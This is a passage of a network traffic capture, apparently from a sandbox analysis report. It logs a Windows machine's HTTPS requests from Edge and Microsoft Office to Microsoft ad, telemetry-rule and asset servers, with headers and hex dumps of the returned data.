V$5OO#b\|>M"qTeurA<b`W`h`+`2c9D\|L7n$d3^+lz
2024-11-16 12:01:40 UTC	16384	IN	Data Raw: c6 dc e8 d0 e4 58 ac f3 83 a1 ca cf b1 d1 8a 6d 21 fe e6 19 77 5f 94 1f 5d 6b 19 11 54 18 d2 07 1f a5 6c 07 18 d1 a9 93 4a 44 65 10 cc 42 92 01 03 49 b9 d3 9d 60 b1 56 30 62 87 dd bc 51 7b 8a ea ef d8 cf 3d 86 91 b5 01 46 ed db 49 3f 6f 10 60 50 36 31 2d 69 22 f7 92 7e f1 40 d4 ee b9 5b 91 b5 4b 26 7b f7 f0 56 38 73 29 27 71 7f 52 4c 7f 4a 11 c6 c0 c9 f2 1a 58 e9 5c be ad 97 e6 27 0b 81 16 7f 82 cb 1b 0c 6e 05 6f e5 11 7f 3f ca 95 d9 b1 77 0b 5f 4d 47 c0 7e b6 a1 b8 e5 d9 a1 4b 67 93 ab 92 ab 7c e4 61 61 55 98 89 20 e8 67 4a f3 b7 0a db c3 74 90 35 b4 7c 6a c5 e0 46 aa 9a cf ea 32 fa 97 22 e9 ac a3 c7 ce 5a 36 af af 0f f5 a2 fb 9b 74 44 32 23 79 04 7d 01 8a 69 fd 58 e8 01 aa c5 bf 41 2a 9f 23 71 81 36 c9 b7 42 75 d6 37 44 f0 e1 4c e5 54 22 d3 f2 8d 7d 2e Data Ascii: Xm!w_]kTlJDeBI`V0bQ{=FI?o`P61-i"~@[K&{V8s)'qRLJX\'no?w_MG~Kg\|aaU gJt5\|jF2"Z6tD2#y}iXA*#q6Bu7DLT"}.
2024-11-16 12:01:40 UTC	7952	IN	Data Raw: 1a be 53 33 ac 78 28 66 cb ef 38 44 0b 22 43 38 86 58 1f db 6e a3 16 be a6 97 4c a0 b4 13 ec 82 02 9d ab 68 1e 15 9a 31 6b ea 93 74 eb 4c 78 77 e7 dc d0 d5 66 93 7b 1b 39 6b f4 00 bb 99 c8 4e f8 28 44 3b f2 64 72 22 5c db 6f 0d a0 68 3c 2d 1c ab 19 65 f3 e2 0b d6 16 22 d1 31 7f 31 e2 69 3b 2d b9 3c 25 15 b2 e6 fc 8c a4 a3 09 49 fd 3f 95 9a af 53 cb 26 ac 59 40 e2 ed 9d 71 e2 76 23 6a 6b d2 00 31 a0 e3 7f a9 e3 51 33 b6 47 72 5f 59 d3 82 f8 01 c2 ae b7 76 ad fb 05 8c d4 95 dd a0 ff 00 4c 9f 3b 6f c1 89 cd c9 db 19 ee 7b 5f f1 d5 08 70 db 80 24 7f 6c f0 27 43 6b da a5 99 9a e8 cb 50 44 6a 94 34 a5 93 36 ab 3a 4c 5d d8 4e dc a9 c8 ac 49 58 94 dd 0a 0b 12 a6 63 53 7e 33 c6 95 1b 19 31 63 29 a8 d5 57 a9 8f 85 c4 f2 9f 85 64 94 5b ba 8b f8 d7 ba 7e 84 b9 dc 9f Data Ascii: S3x(f8D"C8XnLh1ktLxwf{9kN(D;dr"\oh<-e"11i;-<%I?S&Y@qv#jk1Q3Gr_YvL;o{_p$l'CkPDj46:L]NIXcS~31c)Wd[~
2024-11-16 12:01:40 UTC	16384	IN	Data Raw: fa 81 a4 74 fe ee 0f 71 53 03 14 c6 d8 c8 3b 6c db 94 92 09 26 0e e6 d3 85 73 61 bb 74 ca a0 ae 46 00 c3 03 1f 48 37 af 3d a9 7e e9 2b 69 e2 f3 87 fc 1b f4 f7 1c 5e 62 9e cd 5f e6 6a 96 86 fe 9e 2b e6 65 28 e4 ee 16 54 14 38 c4 db a6 6d ad da 49 3c 09 3a d3 e3 32 12 83 68 18 d5 80 db 00 5d bc 22 4f 8d c7 ad 01 76 f0 dd ea f1 66 58 c2 59 6d dc 9a e6 f6 41 70 25 9c de 56 5c a0 86 31 37 90 4b 02 c3 43 16 23 ef 6a ad de 0e db 1a b2 a2 db 76 ad c4 af 01 03 8e 82 2d 1c 6b d2 8d c5 a6 b6 db 8c 74 01 da d5 27 97 b1 dc f2 36 0e 53 26 25 58 50 d2 c3 52 34 f2 35 e0 82 dc bd 2b d3 8c 9b ce c7 56 04 14 68 e3 6c ea 85 14 48 07 79 d0 4c da 4e 92 78 56 71 fc ff 00 86 e4 7f da 07 96 b1 42 d4 bb 6d db e7 8d ce 92 c7 d4 97 b0 c2 65 0e 76 e8 72 2b 60 db 2d 3b 92 f1 04 6a 3c Data Ascii: tqS;l&satFH7=~+i^b_j+e(T8mI<:2h]"OvfXYmAp%V\17KC#jv-kt'6S&%XPR45+VhlHyLNxVqBmevr+`-;j<
2024-11-16 12:01:40 UTC	16384	IN	Data Raw: 12 d2 0f 23 5c df ed 9d c6 7c fd ca 7b b2 57 db ca 36 b3 8b 10 aa 0b 40 bd c5 ae 3d 28 55 49 96 5c 7c 0d 5b 82 86 19 cf 77 b9 72 9c 86 41 50 49 7d a0 9d 92 78 c5 cc 11 57 bf 75 ed b2 6f 5b 08 2d b7 a6 22 5a 36 a4 fa 68 79 51 05 89 1b b1 e4 b7 39 52 08 20 34 6e 59 0d 7b 19 e1 cb 4a eb fb 0f db bb 83 bb dc 8c 71 b8 aa 95 5e a0 d6 2c a5 81 98 8e 1f 6d 50 6d 99 f8 08 95 9c 94 39 da 2f 17 23 5e 93 cf 95 77 3d c6 10 72 1c 49 8d d1 31 0b 2a 86 66 76 37 be d8 13 bb 6c dd 87 95 16 c4 be b5 90 61 1c 3e af 00 7b 54 c3 db f6 ed d4 ab 99 f6 06 07 6b 6d 59 1d 44 1f 94 cd c0 e7 45 c3 80 f7 29 8f 17 b6 a5 f7 b3 3a 91 04 ec 6d 64 f2 22 fb a2 66 2a f2 fc 64 66 eb f2 1a b0 3b e0 7b ba 67 6e c3 3c a9 ba 00 05 88 86 33 32 46 f9 02 e2 6c 2b df dc 91 97 b4 18 82 e5 f7 72 1d 4c Data Ascii: #\\|{W6@=(UI\\|[wrAPI}xWuo[-"Z6hyQ9R 4nY{Jq^,mPm9/#^w=rI1fv7la>{TkmYDE):md"fdf;{gn<32Fl+rL
2024-11-16 12:01:40 UTC	7952	IN	Data Raw: 04 dc 37 ed 5d c0 72 00 c1 e5 6f 5a a3 dd f7 45 59 15 a3 64 58 6c 20 c1 5f 18 3e 9c 22 89 49 2f 50 4d 39 2a 5e 0b 24 96 cc 79 4b 6e a4 1c 39 b7 e5 41 71 d5 c7 85 53 ec dd 5b 3e 31 ed a0 05 84 9e 22 7e 83 c8 5e b5 28 d3 40 63 16 9a b6 c0 c2 57 24 3c 2e f8 28 13 6c 81 81 82 7a 0a e9 3e d9 04 fe 93 46 74 5c 23 6e e3 3d 65 64 48 80 00 83 e2 60 d6 f6 0e ec 3e ec 6a 39 fc ea 5d a4 c3 fe 1c 82 4e dd a2 62 6d ac 70 af 90 9c 59 37 00 4c 6e 8f 8e a0 c4 7c 68 13 95 56 6b ea ae 2e ff 00 82 77 a3 ae 35 75 93 37 77 61 a4 8d a6 5c 63 18 1d 0a ca a4 49 e2 dc 8a 91 a7 32 66 92 28 32 f5 1d a8 41 e0 0b 03 27 59 13 79 b7 8d 65 9a 7a 9f ee 6b 1f 85 e4 7b 7d bc 2b 9f ab 4a be 3b 19 65 2b f8 15 af 89 4f f6 fd a7 b8 41 63 79 dc 27 58 e1 e7 5b c4 53 b7 71 b4 b3 1d ca 49 d1 67 5d Data Ascii: 7]roZEYdXl _>"I/PM9*^$yKn9AqS[>1"~^(@cW$<.(lz>Ft\#n=edH`>j9]NbmpY7Ln\|hVk.w5u7wa\cI2f(2A'Yyezk{}+J;e+OAcy'X[SqIg]
2024-11-16 12:01:40 UTC	15060	IN	Data Raw: 38 02 68 6e 66 69 55 2c 25 6d 07 e3 84 2a a8 e1 2b 63 f1 b0 d6 39 60 40 62 aa 38 0b 5f 99 d2 a4 e4 cb 00 01 c4 f1 fc a8 2d 75 ab 2e 96 de 7e 45 b9 71 7f 00 5f 55 e5 fc 0a 98 9f 1a 23 17 81 92 66 4b 78 f8 19 a9 59 ac a1 45 a4 dc c0 d2 a5 05 e0 22 42 f1 82 b2 77 09 ee 0e ad df c5 76 83 f5 27 87 de 6a 2e 37 0a e0 c9 b9 82 4f af 0e 54 94 46 db 0a b0 67 b6 f6 28 be 4d 8c 58 00 7a b4 3a 79 d0 cb 24 90 d3 af 3f d6 a7 38 07 25 2b c5 07 ba 03 2d 43 50 fd c9 04 ce 42 20 6e 98 0b e0 a3 4f 85 64 f7 2b 8b a5 45 b4 03 49 1e 97 8a ea e9 84 05 76 e5 6e dd fe 43 b7 a8 02 83 ea 7b 95 15 09 12 58 6e 31 04 c1 e5 e9 e3 14 12 37 c3 78 90 42 e8 a4 5e 27 d2 92 53 b7 4a 9f 56 c2 68 c8 9d c9 53 d2 96 7a 8c e0 db bb c0 56 67 62 49 3d 13 d4 04 0b 2d b8 f8 c1 8a 59 b2 38 2c ac 05 ae Data Ascii: 8hnfiU,%m*+c9`@b8_-u.~Eq_U#fKxYE"Bwv'j.7OTFg(MXz:y$?8%+-CPB nOd+EIvnC{Xn17xB^'SJVhSzVgbI=-Y8,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49895	20.96.153.111	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:40 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=19EE44C5987468FE3EE351FC992369A3&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=e364e51fd3804767c4857c0c892f3812 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=19EE44C5987468FE3EE351FC992369A3; _EDGE_S=F=1&SID=102C6E2A971865762B107B13966264E9; _EDGE_V=1
2024-11-16 12:01:40 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2696 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132729-T700344097-C128000000002113969+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002113969+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 16 Nov 2024 12:01:39 GMT Connection: close
2024-11-16 12:01:40 UTC	2696	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 52 69 76 65 72 20 41 72 75 6e 2c 20 45 6e 67 6c 61 6e 64 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 52 69 76 65 72 2b 41 72 75 6e 25 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"River Arun, England\",\"cta\":\"https:\/\/www.bing.com\/search?q=River+Arun%

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:40 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:40 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 05e9aefb-801e-00ac-4740-36fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120140Z-16547b76f7fffb7lhC1DFWdsxg00000002x0000000008yhk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:40 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:40 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:40 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:40 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120140Z-16547b76f7fd4rc5hC1DFWkzhw00000002xg00000000fynp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:40 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:40 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:40 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 919dae56-201e-0096-657a-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120140Z-164f84587bfs5tz9hC1DFW9a3w00000002w0000000005htp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:40 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:40 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:40 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: eda1c5d7-201e-0033-2eb8-37b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120140Z-16547b76f7fwggrphC1DFW2a8s00000001ng000000007w7v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:40 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:40 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:40 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:40 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: ec7953e6-801e-00a3-60a6-377cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120140Z-164f84587bfghdt4hC1DFWu5nn00000002gg000000009qe5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:40 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49905	13.107.246.57	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:40 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:40 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:40 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: c8ab257f-901e-0026-141d-37f3b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T120140Z-1866b5c5fbbt75vghC1DFW0qd400000002pg000000005ss3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:40 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49911	13.107.246.57	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:40 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
